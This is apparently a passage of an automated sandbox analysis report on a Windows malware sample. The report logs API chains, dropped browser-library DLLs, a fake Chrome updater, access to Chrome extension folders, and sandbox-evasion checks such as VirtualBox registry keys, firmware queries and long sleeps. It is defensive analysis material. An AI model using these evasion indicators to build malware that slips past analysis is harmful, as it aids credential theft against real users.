Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking locale)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Evasive API call chain: GetUserDefaultLangID, ExitProcess
Query firmware table information (likely to detect VMs)
Source: C:\ProgramData\HIJEGDBGDB.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\ProgramData\HIJEGDBGDB.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Contains capabilities to detect virtual machines
Source: C:\ProgramData\Google\Chrome\updater.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\Google\Chrome\updater.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\Google\Chrome\updater.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5399 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4345 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API coverage: 7.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3552 Thread sleep count: 5399 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3552 Thread sleep count: 4345 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2072 Thread sleep time: -9223372036854770s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_0040E430
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00414910
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040BE70
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004016D0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 0_2_0040DA80
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00413EA0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040F6B0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004138B0
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_00414570
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_0040ED20
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_0040DE10
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00401160 GetSystemInfo,ExitProcess, 0_2_00401160
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
